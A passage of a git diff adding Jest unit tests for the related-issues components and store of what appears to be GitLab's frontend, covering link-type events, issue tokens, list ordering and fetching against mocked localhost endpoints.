+ linkedIssueType: linkedIssueTypesMap.RELATES_TO,
+ });
+ done();
+ });
+ });
+
+ it('emits an event with a "blocks" link type when the "blocks" radio input selected', done => {
+ jest.spyOn(wrapper.vm, '$emit').mockImplementation(() => {});
+
+ wrapper.vm.linkedIssueType = linkedIssueTypesMap.BLOCKS;
+ wrapper.vm.onFormSubmit();
+
+ wrapper.vm.$nextTick(() => {
+ expect(wrapper.vm.$emit).toHaveBeenCalledWith('addIssuableFormSubmit', {
+ pendingReferences: '',
+ linkedIssueType: linkedIssueTypesMap.BLOCKS,
+ });
+ done();
+ });
+ });
+
+ it('emits an event with a "is_blocked_by" link type when the "is blocked by" radio input selected', done => {
+ jest.spyOn(wrapper.vm, '$emit').mockImplementation(() => {});
+
+ wrapper.vm.linkedIssueType = linkedIssueTypesMap.IS_BLOCKED_BY;
+ wrapper.vm.onFormSubmit();
+
+ wrapper.vm.$nextTick(() => {
+ expect(wrapper.vm.$emit).toHaveBeenCalledWith('addIssuableFormSubmit', {
+ pendingReferences: '',
+ linkedIssueType: linkedIssueTypesMap.IS_BLOCKED_BY,
+ });
+ done();
+ });
+ });
+
+ it('shows error message when error is present', done => {
+ const itemAddFailureMessage = 'Something went wrong while submitting.';
+ wrapper.setProps({
+ hasError: true,
+ itemAddFailureMessage,
+ });
+
+ wrapper.vm.$nextTick(() => {
+ expect(wrapper.find('.gl-field-error').exists()).toBe(true);
+ expect(wrapper.find('.gl-field-error').text()).toContain(itemAddFailureMessage);
+ done();
+ });
+ });
+ });
+ });
+ });
+
+ describe('computed', () => {
+ describe('transformedAutocompleteSources', () => {
+ const autoCompleteSources = {
+ issues: 'http://localhost/autocomplete/issues',
+ epics: 'http://localhost/autocomplete/epics',
+ };
+
+ it('returns autocomplete object', () => {
+ wrapper = constructWrapper({
+ autoCompleteSources,
+ });
+
+ expect(wrapper.vm.transformedAutocompleteSources).toBe(autoCompleteSources);
+
+ wrapper = constructWrapper({
+ autoCompleteSources,
+ confidential: false,
+ });
+
+ expect(wrapper.vm.transformedAutocompleteSources).toBe(autoCompleteSources);
+ });
+
+ it('returns autocomplete sources with query `confidential_only`, when it is confidential', () => {
+ wrapper = constructWrapper({
+ autoCompleteSources,
+ confidential: true,
+ });
+
+ const actualSources = wrapper.vm.transformedAutocompleteSources;
+
+ expect(actualSources.epics).toContain('?confidential_only=true');
+ expect(actualSources.issues).toContain('?confidential_only=true');
+ });
+ });
+ });
+});
diff --git a/spec/frontend/issuable/related_issues/components/issue_token_spec.js b/spec/frontend/issuable/related_issues/components/issue_token_spec.js
new file mode 100644
index 00000000000..553721fa783
--- /dev/null
+++ b/spec/frontend/issuable/related_issues/components/issue_token_spec.js
@@ -0,0 +1,241 @@
+import Vue from 'vue';
+import { PathIdSeparator } from '~/related_issues/constants';
+import issueToken from '~/related_issues/components/issue_token.vue';
+
+describe('IssueToken', () => {
+ const idKey = 200;
+ const displayReference = 'foo/bar#123';
+ const title = 'some title';
+ const pathIdSeparator = PathIdSeparator.Issue;
+ const eventNamespace = 'pendingIssuable';
+ let IssueToken;
+ let vm;
+
+ beforeEach(() => {
+ IssueToken = Vue.extend(issueToken);
+ });
+
+ afterEach(() => {
+ if (vm) {
+ vm.$destroy();
+ }
+ });
+
+ describe('with reference supplied', () => {
+ beforeEach(() => {
+ vm = new IssueToken({
+ propsData: {
+ idKey,
+ eventNamespace,
+ displayReference,
+ pathIdSeparator,
+ },
+ }).$mount();
+ });
+
+ it('shows reference', () => {
+ expect(vm.$el.textContent.trim()).toEqual(displayReference);
+ });
+
+ it('does not link without path specified', () => {
+ expect(vm.$refs.link.tagName.toLowerCase()).toEqual('span');
+ expect(vm.$refs.link.getAttribute('href')).toBeNull();
+ });
+ });
+
+ describe('with reference and title supplied', () => {
+ beforeEach(() => {
+ vm = new IssueToken({
+ propsData: {
+ idKey,
+ eventNamespace,
+ displayReference,
+ pathIdSeparator,
+ title,
+ },
+ }).$mount();
+ });
+
+ it('shows reference and title', () => {
+ expect(vm.$refs.reference.textContent.trim()).toEqual(displayReference);
+ expect(vm.$refs.title.textContent.trim()).toEqual(title);
+ });
+ });
+
+ describe('with path supplied', () => {
+ const path = '/foo/bar/issues/123';
+ beforeEach(() => {
+ vm = new IssueToken({
+ propsData: {
+ idKey,
+ eventNamespace,
+ displayReference,
+ pathIdSeparator,
+ title,
+ path,
+ },
+ }).$mount();
+ });
+
+ it('links reference and title', () => {
+ expect(vm.$refs.link.getAttribute('href')).toEqual(path);
+ });
+ });
+
+ describe('with state supplied', () => {
+ describe("`state: 'opened'`", () => {
+ beforeEach(() => {
+ vm = new IssueToken({
+ propsData: {
+ idKey,
+ eventNamespace,
+ displayReference,
+ pathIdSeparator,
+ state: 'opened',
+ },
+ }).$mount();
+ });
+
+ it('shows green circle icon', () => {
+ expect(vm.$el.querySelector('.issue-token-state-icon-open.fa.fa-circle-o')).toBeDefined();
+ });
+ });
+
+ describe("`state: 'reopened'`", () => {
+ beforeEach(() => {
+ vm = new IssueToken({
+ propsData: {
+ idKey,
+ eventNamespace,
+ displayReference,
+ pathIdSeparator,
+ state: 'reopened',
+ },
+ }).$mount();
+ });
+
+ it('shows green circle icon', () => {
+ expect(vm.$el.querySelector('.issue-token-state-icon-open.fa.fa-circle-o')).toBeDefined();
+ });
+ });
+
+ describe("`state: 'closed'`", () => {
+ beforeEach(() => {
+ vm = new IssueToken({
+ propsData: {
+ idKey,
+ eventNamespace,
+ displayReference,
+ pathIdSeparator,
+ state: 'closed',
+ },
+ }).$mount();
+ });
+
+ it('shows red minus icon', () => {
+ expect(vm.$el.querySelector('.issue-token-state-icon-closed.fa.fa-minus')).toBeDefined();
+ });
+ });
+ });
+
+ describe('with reference, title, state', () => {
+ const state = 'opened';
+ beforeEach(() => {
+ vm = new IssueToken({
+ propsData: {
+ idKey,
+ eventNamespace,
+ displayReference,
+ pathIdSeparator,
+ title,
+ state,
+ },
+ }).$mount();
+ });
+
+ it('shows reference, title, and state', () => {
+ const stateIcon = vm.$refs.reference.querySelector('svg');
+
+ expect(stateIcon.getAttribute('aria-label')).toEqual(state);
+ expect(vm.$refs.reference.textContent.trim()).toEqual(displayReference);
+ expect(vm.$refs.title.textContent.trim()).toEqual(title);
+ });
+ });
+
+ describe('with canRemove', () => {
+ describe('`canRemove: false` (default)', () => {
+ beforeEach(() => {
+ vm = new IssueToken({
+ propsData: {
+ idKey,
+ eventNamespace,
+ displayReference,
+ pathIdSeparator,
+ },
+ }).$mount();
+ });
+
+ it('does not have remove button', () => {
+ expect(vm.$el.querySelector('.issue-token-remove-button')).toBeNull();
+ });
+ });
+
+ describe('`canRemove: true`', () => {
+ beforeEach(() => {
+ vm = new IssueToken({
+ propsData: {
+ idKey,
+ eventNamespace,
+ displayReference,
+ pathIdSeparator,
+ canRemove: true,
+ },
+ }).$mount();
+ });
+
+ it('has remove button', () => {
+ expect(vm.$el.querySelector('.issue-token-remove-button')).toBeDefined();
+ });
+ });
+ });
+
+ describe('methods', () => {
+ beforeEach(() => {
+ vm = new IssueToken({
+ propsData: {
+ idKey,
+ eventNamespace,
+ displayReference,
+ pathIdSeparator,
+ },
+ }).$mount();
+ });
+
+ it('when getting checked', () => {
+ jest.spyOn(vm, '$emit').mockImplementation(() => {});
+ vm.onRemoveRequest();
+
+ expect(vm.$emit).toHaveBeenCalledWith('pendingIssuableRemoveRequest', vm.idKey);
+ });
+ });
+
+ describe('tooltip', () => {
+ beforeEach(() => {
+ vm = new IssueToken({
+ propsData: {
+ idKey,
+ eventNamespace,
+ displayReference,
+ pathIdSeparator,
+ canRemove: true,
+ },
+ }).$mount();
+ });
+
+ it('should not be escaped', () => {
+ const { originalTitle } = vm.$refs.removeButton.dataset;
+
+ expect(originalTitle).toEqual(`Remove ${displayReference}`);
+ });
+ });
+});
diff --git a/spec/frontend/issuable/related_issues/components/related_issues_block_spec.js b/spec/frontend/issuable/related_issues/components/related_issues_block_spec.js
new file mode 100644
index 00000000000..0f88e4d71fe
--- /dev/null
+++ b/spec/frontend/issuable/related_issues/components/related_issues_block_spec.js
@@ -0,0 +1,206 @@
+import { shallowMount, mount } from '@vue/test-utils';
+import { GlButton, GlIcon } from '@gitlab/ui';
+import {
+ issuable1,
+ issuable2,
+ issuable3,
+} from 'jest/vue_shared/components/issue/related_issuable_mock_data';
+import RelatedIssuesBlock from '~/related_issues/components/related_issues_block.vue';
+import {
+ linkedIssueTypesMap,
+ linkedIssueTypesTextMap,
+ PathIdSeparator,
+} from '~/related_issues/constants';
+
+describe('RelatedIssuesBlock', () => {
+ let wrapper;
+
+ const findIssueCountBadgeAddButton = () => wrapper.find(GlButton);
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ describe('with defaults', () => {
+ beforeEach(() => {
+ wrapper = mount(RelatedIssuesBlock, {
+ propsData: {
+ pathIdSeparator: PathIdSeparator.Issue,
+ issuableType: 'issue',
+ },
+ });
+ });
+
+ it('displays "Linked issues" in the header', () => {
+ expect(wrapper.find('.card-title').text()).toContain('Linked issues');
+ });
+
+ it('unable to add new related issues', () => {
+ expect(findIssueCountBadgeAddButton().exists()).toBe(false);
+ });
+
+ it('add related issues form is hidden', () => {
+ expect(wrapper.find('.js-add-related-issues-form-area').exists()).toBe(false);
+ });
+ });
+
+ describe('with headerText slot', () => {
+ it('displays header text slot data', () => {
+ const headerText = '<div>custom header text</div>';
+
+ wrapper = shallowMount(RelatedIssuesBlock, {
+ propsData: {
+ pathIdSeparator: PathIdSeparator.Issue,
+ issuableType: 'issue',
+ },
+ slots: { headerText },
+ });
+
+ expect(wrapper.find('.card-title').html()).toContain(headerText);
+ });
+ });
+
+ describe('with headerActions slot', () => {
+ it('displays header actions slot data', () => {
+ const headerActions = '<button data-testid="custom-button">custom button</button>';
+
+ wrapper = shallowMount(RelatedIssuesBlock, {
+ propsData: {
+ pathIdSeparator: PathIdSeparator.Issue,
+ issuableType: 'issue',
+ },
+ slots: { headerActions },
+ });
+
+ expect(wrapper.find('[data-testid="custom-button"]').html()).toBe(headerActions);
+ });
+ });
+
+ describe('with isFetching=true', () => {
+ beforeEach(() => {
+ wrapper = mount(RelatedIssuesBlock, {
+ propsData: {
+ pathIdSeparator: PathIdSeparator.Issue,
+ isFetching: true,
+ issuableType: 'issue',
+ },
+ });
+ });
+
+ it('should show `...` badge count', () => {
+ expect(wrapper.vm.badgeLabel).toBe('...');
+ });
+ });
+
+ describe('with canAddRelatedIssues=true', () => {
+ beforeEach(() => {
+ wrapper = mount(RelatedIssuesBlock, {
+ propsData: {
+ pathIdSeparator: PathIdSeparator.Issue,
+ canAdmin: true,
+ issuableType: 'issue',
+ },
+ });
+ });
+
+ it('can add new related issues', () => {
+ expect(findIssueCountBadgeAddButton().exists()).toBe(true);
+ });
+ });
+
+ describe('with isFormVisible=true', () => {
+ beforeEach(() => {
+ wrapper = mount(RelatedIssuesBlock, {
+ propsData: {
+ pathIdSeparator: PathIdSeparator.Issue,
+ isFormVisible: true,
+ issuableType: 'issue',
+ },
+ });
+ });
+
+ it('shows add related issues form', () => {
+ expect(wrapper.find('.js-add-related-issues-form-area').exists()).toBe(true);
+ });
+ });
+
+ describe('showCategorizedIssues prop', () => {
+ const issueList = () => wrapper.findAll('.js-related-issues-token-list-item');
+ const categorizedHeadings = () => wrapper.findAll('h4');
+ const headingTextAt = index =>
+ categorizedHeadings()
+ .at(index)
+ .text();
+ const mountComponent = showCategorizedIssues => {
+ wrapper = mount(RelatedIssuesBlock, {
+ propsData: {
+ pathIdSeparator: PathIdSeparator.Issue,
+ relatedIssues: [issuable1, issuable2, issuable3],
+ issuableType: 'issue',
+ showCategorizedIssues,
+ },
+ });
+ };
+
+ describe('when showCategorizedIssues=true', () => {
+ beforeEach(() => mountComponent(true));
+
+ it('should render issue tokens items', () => {
+ expect(issueList()).toHaveLength(3);
+ });
+
+ it('shows "Blocks" heading', () => {
+ const blocks = linkedIssueTypesTextMap[linkedIssueTypesMap.BLOCKS];
+
+ expect(headingTextAt(0)).toBe(blocks);
+ });
+
+ it('shows "Is blocked by" heading', () => {
+ const isBlockedBy = linkedIssueTypesTextMap[linkedIssueTypesMap.IS_BLOCKED_BY];
+
+ expect(headingTextAt(1)).toBe(isBlockedBy);
+ });
+
+ it('shows "Relates to" heading', () => {
+ const relatesTo = linkedIssueTypesTextMap[linkedIssueTypesMap.RELATES_TO];
+
+ expect(headingTextAt(2)).toBe(relatesTo);
+ });
+ });
+
+ describe('when showCategorizedIssues=false', () => {
+ it('should render issues as a flat list with no header', () => {
+ mountComponent(false);
+
+ expect(issueList()).toHaveLength(3);
+ expect(categorizedHeadings()).toHaveLength(0);
+ });
+ });
+ });
+
+ describe('renders correct icon when', () => {
+ [
+ {
+ icon: 'issues',
+ issuableType: 'issue',
+ },
+ {
+ icon: 'epic',
+ issuableType: 'epic',
+ },
+ ].forEach(({ issuableType, icon }) => {
+ it(`issuableType=${issuableType} is passed`, () => {
+ wrapper = shallowMount(RelatedIssuesBlock, {
+ propsData: {
+ pathIdSeparator: PathIdSeparator.Issue,
+ issuableType,
+ },
+ });
+
+ const iconComponent = wrapper.find(GlIcon);
+ expect(iconComponent.exists()).toBe(true);
+ expect(iconComponent.props('name')).toBe(icon);
+ });
+ });
+ });
+});
diff --git a/spec/frontend/issuable/related_issues/components/related_issues_list_spec.js b/spec/frontend/issuable/related_issues/components/related_issues_list_spec.js
new file mode 100644
index 00000000000..6cf0b9d21ea
--- /dev/null
+++ b/spec/frontend/issuable/related_issues/components/related_issues_list_spec.js
@@ -0,0 +1,190 @@
+import { mount, shallowMount } from '@vue/test-utils';
+import {
+ issuable1,
+ issuable2,
+ issuable3,
+ issuable4,
+ issuable5,
+} from 'jest/vue_shared/components/issue/related_issuable_mock_data';
+import IssueDueDate from '~/boards/components/issue_due_date.vue';
+import RelatedIssuesList from '~/related_issues/components/related_issues_list.vue';
+import { PathIdSeparator } from '~/related_issues/constants';
+
+describe('RelatedIssuesList', () => {
+ let wrapper;
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ describe('with defaults', () => {
+ const heading = 'Related to';
+
+ beforeEach(() => {
+ wrapper = shallowMount(RelatedIssuesList, {
+ propsData: {
+ pathIdSeparator: PathIdSeparator.Issue,
+ issuableType: 'issue',
+ heading,
+ },
+ });
+ });
+
+ it('shows a heading', () => {
+ expect(wrapper.find('h4').text()).toContain(heading);
+ });
+
+ it('should not show loading icon', () => {
+ expect(wrapper.vm.$refs.loadingIcon).toBeUndefined();
+ });
+ });
+
+ describe('with isFetching=true', () => {
+ beforeEach(() => {
+ wrapper = shallowMount(RelatedIssuesList, {
+ propsData: {
+ pathIdSeparator: PathIdSeparator.Issue,
+ isFetching: true,
+ issuableType: 'issue',
+ },
+ });
+ });
+
+ it('should show loading icon', () => {
+ expect(wrapper.vm.$refs.loadingIcon).toBeDefined();
+ });
+ });
+
+ describe('methods', () => {
+ beforeEach(() => {
+ wrapper = shallowMount(RelatedIssuesList, {
+ propsData: {
+ pathIdSeparator: PathIdSeparator.Issue,
+ relatedIssues: [issuable1, issuable2, issuable3, issuable4, issuable5],
+ issuableType: 'issue',
+ },
+ });
+ });
+
+ it('updates the order correctly when an item is moved to the top', () => {
+ const beforeAfterIds = wrapper.vm.getBeforeAfterId(
+ wrapper.vm.$el.querySelector('ul li:first-child'),
+ );
+
+ expect(beforeAfterIds.beforeId).toBeNull();
+ expect(beforeAfterIds.afterId).toBe(2);
+ });
+
+ it('updates the order correctly when an item is moved to the bottom', () => {
+ const beforeAfterIds = wrapper.vm.getBeforeAfterId(
+ wrapper.vm.$el.querySelector('ul li:last-child'),
+ );
+
+ expect(beforeAfterIds.beforeId).toBe(4);
+ expect(beforeAfterIds.afterId).toBeNull();
+ });
+
+ it('updates the order correctly when an item is swapped with adjacent item', () => {
+ const beforeAfterIds = wrapper.vm.getBeforeAfterId(
+ wrapper.vm.$el.querySelector('ul li:nth-child(3)'),
+ );
+
+ expect(beforeAfterIds.beforeId).toBe(2);
+ expect(beforeAfterIds.afterId).toBe(4);
+ });
+
+ it('updates the order correctly when an item is moved somewhere in the middle', () => {
+ const beforeAfterIds = wrapper.vm.getBeforeAfterId(
+ wrapper.vm.$el.querySelector('ul li:nth-child(4)'),
+ );
+
+ expect(beforeAfterIds.beforeId).toBe(3);
+ expect(beforeAfterIds.afterId).toBe(5);
+ });
+ });
+
+ describe('issuableOrderingId returns correct issuable order id when', () => {
+ it('issuableType is epic', () => {
+ wrapper = shallowMount(RelatedIssuesList, {
+ propsData: {
+ pathIdSeparator: PathIdSeparator.Issue,
+ issuableType: 'issue',
+ },
+ });
+
+ expect(wrapper.vm.issuableOrderingId(issuable1)).toBe(issuable1.epicIssueId);
+ });
+
+ it('issuableType is issue', () => {
+ wrapper = shallowMount(RelatedIssuesList, {
+ propsData: {
+ pathIdSeparator: PathIdSeparator.Issue,
+ issuableType: 'epic',
+ },
+ });
+
+ expect(wrapper.vm.issuableOrderingId(issuable1)).toBe(issuable1.id);
+ });
+ });
+
+ describe('renders correct ordering id when', () => {
+ let relatedIssues;
+
+ beforeAll(() => {
+ relatedIssues = [issuable1, issuable2, issuable3, issuable4, issuable5];
+ });
+
+ it('issuableType is epic', () => {
+ wrapper = shallowMount(RelatedIssuesList, {
+ propsData: {
+ pathIdSeparator: PathIdSeparator.Issue,
+ issuableType: 'epic',
+ relatedIssues,
+ },
+ });
+
+ const listItems = wrapper.vm.$el.querySelectorAll('.list-item');
+
+ Array.from(listItems).forEach((item, index) => {
+ expect(Number(item.dataset.orderingId)).toBe(relatedIssues[index].id);
+ });
+ });
+
+ it('issuableType is issue', () => {
+ wrapper = shallowMount(RelatedIssuesList, {
+ propsData: {
+ pathIdSeparator: PathIdSeparator.Issue,
+ issuableType: 'issue',
+ relatedIssues,
+ },
+ });
+
+ const listItems = wrapper.vm.$el.querySelectorAll('.list-item');
+
+ Array.from(listItems).forEach((item, index) => {
+ expect(Number(item.dataset.orderingId)).toBe(relatedIssues[index].epicIssueId);
+ });
+ });
+ });
+
+ describe('related item contents', () => {
+ beforeAll(() => {
+ wrapper = mount(RelatedIssuesList, {
+ propsData: {
+ issuableType: 'issue',
+ pathIdSeparator: PathIdSeparator.Issue,
+ relatedIssues: [issuable1],
+ },
+ });
+ });
+
+ it('shows due date', () => {
+ expect(
+ wrapper
+ .find(IssueDueDate)
+ .find('.board-card-info-text')
+ .text(),
+ ).toBe('Nov 22, 2010');
+ });
+ });
+});
diff --git a/spec/frontend/issuable/related_issues/components/related_issues_root_spec.js b/spec/frontend/issuable/related_issues/components/related_issues_root_spec.js
new file mode 100644
index 00000000000..2544d0bd030
--- /dev/null
+++ b/spec/frontend/issuable/related_issues/components/related_issues_root_spec.js
@@ -0,0 +1,341 @@
+import { mount, shallowMount } from '@vue/test-utils';
+import MockAdapter from 'axios-mock-adapter';
+import waitForPromises from 'helpers/wait_for_promises';
+import {
+ defaultProps,
+ issuable1,
+ issuable2,
+} from 'jest/vue_shared/components/issue/related_issuable_mock_data';
+import RelatedIssuesRoot from '~/related_issues/components/related_issues_root.vue';
+import relatedIssuesService from '~/related_issues/services/related_issues_service';
+import { linkedIssueTypesMap } from '~/related_issues/constants';
+import axios from '~/lib/utils/axios_utils';
+import { deprecatedCreateFlash as createFlash } from '~/flash';
+
+jest.mock('~/flash');
+
+describe('RelatedIssuesRoot', () => {
+ let wrapper;
+ let mock;
+
+ beforeEach(() => {
+ mock = new MockAdapter(axios);
+ mock.onGet(defaultProps.endpoint).reply(200, []);
+ });
+
+ afterEach(() => {
+ mock.restore();
+ if (wrapper) {
+ wrapper.destroy();
+ wrapper = null;
+ }
+ });
+
+ const createComponent = (mountFn = mount) => {
+ wrapper = mountFn(RelatedIssuesRoot, {
+ propsData: defaultProps,
+ });
+
+ // Wait for fetch request `fetchRelatedIssues` to complete before starting to test
+ return waitForPromises();
+ };
+
+ describe('methods', () => {
+ describe('onRelatedIssueRemoveRequest', () => {
+ beforeEach(() => {
+ jest
+ .spyOn(relatedIssuesService.prototype, 'fetchRelatedIssues')
+ .mockReturnValue(Promise.reject());
+
+ return createComponent().then(() => {
+ wrapper.vm.store.setRelatedIssues([issuable1]);
+ });
+ });
+
+ it('remove related issue and succeeds', () => {
+ mock.onDelete(issuable1.referencePath).reply(200, { issues: [] });
+
+ wrapper.vm.onRelatedIssueRemoveRequest(issuable1.id);
+
+ return axios.waitForAll().then(() => {
+ expect(wrapper.vm.state.relatedIssues).toEqual([]);
+ });
+ });
+
+ it('remove related issue, fails, and restores to related issues', () => {
+ mock.onDelete(issuable1.referencePath).reply(422, {});
+
+ wrapper.vm.onRelatedIssueRemoveRequest(issuable1.id);
+
+ return axios.waitForAll().then(() => {
+ expect(wrapper.vm.state.relatedIssues).toHaveLength(1);
+ expect(wrapper.vm.state.relatedIssues[0].id).toEqual(issuable1.id);
+ });
+ });
+ });
+
+ describe('onToggleAddRelatedIssuesForm', () => {
+ beforeEach(() => createComponent(shallowMount));
+
+ it('toggle related issues form to visible', () => {
+ wrapper.vm.onToggleAddRelatedIssuesForm();
+
+ expect(wrapper.vm.isFormVisible).toEqual(true);
+ });
+
+ it('show add related issues form to hidden', () => {
+ wrapper.vm.isFormVisible = true;
+
+ wrapper.vm.onToggleAddRelatedIssuesForm();
+
+ expect(wrapper.vm.isFormVisible).toEqual(false);
+ });
+ });
+
+ describe('onPendingIssueRemoveRequest', () => {
+ beforeEach(() =>
+ createComponent().then(() => {
+ wrapper.vm.store.setPendingReferences([issuable1.reference]);
+ }),
+ );
+
+ it('remove pending related issue', () => {
+ expect(wrapper.vm.state.pendingReferences).toHaveLength(1);
+
+ wrapper.vm.onPendingIssueRemoveRequest(0);
+
+ expect(wrapper.vm.state.pendingReferences).toHaveLength(0);
+ });
+ });
+
+ describe('onPendingFormSubmit', () => {
+ beforeEach(() => {
+ jest
+ .spyOn(relatedIssuesService.prototype, 'fetchRelatedIssues')
+ .mockReturnValue(Promise.reject());
+
+ return createComponent().then(() => {
+ jest.spyOn(wrapper.vm, 'processAllReferences');
+ jest.spyOn(wrapper.vm.service, 'addRelatedIssues');
+ createFlash.mockClear();
+ });
+ });
+
+ it('processes references before submitting', () => {
+ const input = '#123';
+ const linkedIssueType = linkedIssueTypesMap.RELATES_TO;
+ const emitObj = {
+ pendingReferences: input,
+ linkedIssueType,
+ };
+
+ wrapper.vm.onPendingFormSubmit(emitObj);
+
+ expect(wrapper.vm.processAllReferences).toHaveBeenCalledWith(input);
+ expect(wrapper.vm.service.addRelatedIssues).toHaveBeenCalledWith([input], linkedIssueType);
+ });
+
+ it('submit zero pending issue as related issue', () => {
+ wrapper.vm.store.setPendingReferences([]);
+ wrapper.vm.onPendingFormSubmit({});
+
+ return waitForPromises().then(() => {
+ expect(wrapper.vm.state.pendingReferences).toHaveLength(0);
+ expect(wrapper.vm.state.relatedIssues).toHaveLength(0);
+ });
+ });
+
+ it('submit pending issue as related issue', () => {
+ mock.onPost(defaultProps.endpoint).reply(200, {
+ issuables: [issuable1],
+ result: {
+ message: 'something was successfully related',
+ status: 'success',
+ },
+ });
+
+ wrapper.vm.store.setPendingReferences([issuable1.reference]);
+ wrapper.vm.onPendingFormSubmit({});
+
+ return waitForPromises().then(() => {
+ expect(wrapper.vm.state.pendingReferences).toHaveLength(0);
+ expect(wrapper.vm.state.relatedIssues).toHaveLength(1);
+ expect(wrapper.vm.state.relatedIssues[0].id).toEqual(issuable1.id);
+ });
+ });
+
+ it('submit multiple pending issues as related issues', () => {
+ mock.onPost(defaultProps.endpoint).reply(200, {
+ issuables: [issuable1, issuable2],
+ result: {
+ message: 'something was successfully related',
+ status: 'success',
+ },
+ });
+
+ wrapper.vm.store.setPendingReferences([issuable1.reference, issuable2.reference]);
+ wrapper.vm.onPendingFormSubmit({});
+
+ return waitForPromises().then(() => {
+ expect(wrapper.vm.state.pendingReferences).toHaveLength(0);
+ expect(wrapper.vm.state.relatedIssues).toHaveLength(2);
+ expect(wrapper.vm.state.relatedIssues[0].id).toEqual(issuable1.id);
+ expect(wrapper.vm.state.relatedIssues[1].id).toEqual(issuable2.id);
+ });
+ });
+
+ it('displays a message from the backend upon error', () => {
+ const input = '#123';
+ const message = 'error';
+
+ mock.onPost(defaultProps.endpoint).reply(409, { message });
+ wrapper.vm.store.setPendingReferences([issuable1.reference, issuable2.reference]);
+
+ expect(createFlash).not.toHaveBeenCalled();
+ wrapper.vm.onPendingFormSubmit(input);
+
+ return waitForPromises().then(() => {
+ expect(createFlash).toHaveBeenCalledWith(message);
+ });
+ });
+ });
+
+ describe('onPendingFormCancel', () => {
+ beforeEach(() =>
+ createComponent().then(() => {
+ wrapper.vm.isFormVisible = true;
+ wrapper.vm.inputValue = 'foo';
+ }),
+ );
+
+ it('when canceling and hiding add issuable form', () => {
+ wrapper.vm.onPendingFormCancel();
+
+ return wrapper.vm.$nextTick().then(() => {
+ expect(wrapper.vm.isFormVisible).toEqual(false);
+ expect(wrapper.vm.inputValue).toEqual('');
+ expect(wrapper.vm.state.pendingReferences).toHaveLength(0);
+ });
+ });
+ });
+
+ describe('fetchRelatedIssues', () => {
+ beforeEach(() => createComponent());
+
+ it('sets isFetching while fetching', () => {
+ wrapper.vm.fetchRelatedIssues();
+
+ expect(wrapper.vm.isFetching).toEqual(true);
+
+ return waitForPromises().then(() => {
+ expect(wrapper.vm.isFetching).toEqual(false);
+ });
+ });
+
+ it('should fetch related issues', () => {
+ mock.onGet(defaultProps.endpoint).reply(200, [issuable1, issuable2]);
+
+ wrapper.vm.fetchRelatedIssues();
+
+ return waitForPromises().then(() => {
+ expect(wrapper.vm.state.relatedIssues).toHaveLength(2);
+ expect(wrapper.vm.state.relatedIssues[0].id).toEqual(issuable1.id);
+ expect(wrapper.vm.state.relatedIssues[1].id).toEqual(issuable2.id);
+ });
+ });
+ });
+
+ describe('onInput', () => {
+ beforeEach(() => createComponent());
+
+ it('fill in issue number reference and adds to pending related issues', () => {
+ const input = '#123 ';
+ wrapper.vm.onInput({
+ untouchedRawReferences: [input.trim()],
+ touchedReference: input,
+ });
+
+ expect(wrapper.vm.state.pendingReferences).toHaveLength(1);
+ expect(wrapper.vm.state.pendingReferences[0]).toEqual('#123');
+ });
+
+ it('fill in with full reference', () => {
+ const input = 'asdf/qwer#444 ';
+ wrapper.vm.onInput({ untouchedRawReferences: [input.trim()], touchedReference: input });
+
+ expect(wrapper.vm.state.pendingReferences).toHaveLength(1);
+ expect(wrapper.vm.state.pendingReferences[0]).toEqual('asdf/qwer#444');
+ });
+
+ it('fill in with issue link', () => {
+ const link = 'http://localhost:3000/foo/bar/issues/111';
+ const input = `${link} `;
+ wrapper.vm.onInput({ untouchedRawReferences: [input.trim()], touchedReference: input });
+
+ expect(wrapper.vm.state.pendingReferences).toHaveLength(1);
+ expect(wrapper.vm.state.pendingReferences[0]).toEqual(link);
+ });
+
+ it('fill in with multiple references', () => {
+ const input = 'asdf/qwer#444 #12 ';
+ wrapper.vm.onInput({
+ untouchedRawReferences: input.trim().split(/\s/),
+ touchedReference: 2,
+ });
+
+ expect(wrapper.vm.state.pendingReferences).toHaveLength(2);
+ expect(wrapper.vm.state.pendingReferences[0]).toEqual('asdf/qwer#444');
+ expect(wrapper.vm.state.pendingReferences[1]).toEqual('#12');
+ });
+
+ it('fill in with some invalid things', () => {
+ const input = 'something random ';
+ wrapper.vm.onInput({
+ untouchedRawReferences: input.trim().split(/\s/),
+ touchedReference: 2,
+ });
+
+ expect(wrapper.vm.state.pendingReferences).toHaveLength(2);
+ expect(wrapper.vm.state.pendingReferences[0]).toEqual('something');
+ expect(wrapper.vm.state.pendingReferences[1]).toEqual('random');
+ });
+ });
+
+ describe('onBlur', () => {
+ beforeEach(() =>
+ createComponent().then(() => {
+ jest.spyOn(wrapper.vm, 'processAllReferences').mockImplementation(() => {});
+ }),
+ );
+
+ it('add any references to pending when blurring', () => {
+ const input = '#123';
+
+ wrapper.vm.onBlur(input);
+
+ expect(wrapper.vm.processAllReferences).toHaveBeenCalledWith(input);
+ });
+ });
+
+ describe('processAllReferences', () => {
+ beforeEach(() => createComponent());
+
+ it('add valid reference to pending', () => {
+ const input = '#123';
+ wrapper.vm.processAllReferences(input);
+
+ expect(wrapper.vm.state.pendingReferences).toHaveLength(1);
+ expect(wrapper.vm.state.pendingReferences[0]).toEqual('#123');
+ });
+
+ it('add any valid references to pending', () => {
+ const input = 'asdf #123';
+ wrapper.vm.processAllReferences(input);
+
+ expect(wrapper.vm.state.pendingReferences).toHaveLength(2);
+ expect(wrapper.vm.state.pendingReferences[0]).toEqual('asdf');
+ expect(wrapper.vm.state.pendingReferences[1]).toEqual('#123');
+ });
+ });
+ });
+});
diff --git a/spec/frontend/issuable/related_issues/stores/related_issues_store_spec.js b/spec/frontend/issuable/related_issues/stores/related_issues_store_spec.js
new file mode 100644
index 00000000000..ada1c44560f
--- /dev/null
+++ b/spec/frontend/issuable/related_issues/stores/related_issues_store_spec.js
@@ -0,0 +1,111 @@
+import {
+ issuable1,
+ issuable2,
+ issuable3,
+ issuable4,
+ issuable5,
+} from 'jest/vue_shared/components/issue/related_issuable_mock_data';
+import RelatedIssuesStore from '~/related_issues/stores/related_issues_store';
+
+describe('RelatedIssuesStore', () => {
+ let store;
+
+ beforeEach(() => {
+ store = new RelatedIssuesStore();
+ });
+
+ describe('setRelatedIssues', () => {
+ it('defaults to empty array', () => {
+ expect(store.state.relatedIssues).toEqual([]);
+ });
+
+ it('sets issues', () => {
+ const relatedIssues = [issuable1];
+ store.setRelatedIssues(relatedIssues);
+
+ expect(store.state.relatedIssues).toEqual(relatedIssues);
+ });
+ });
+
+ describe('addRelatedIssues', () => {
+ it('adds related issues', () => {
+ store.state.relatedIssues = [issuable1];
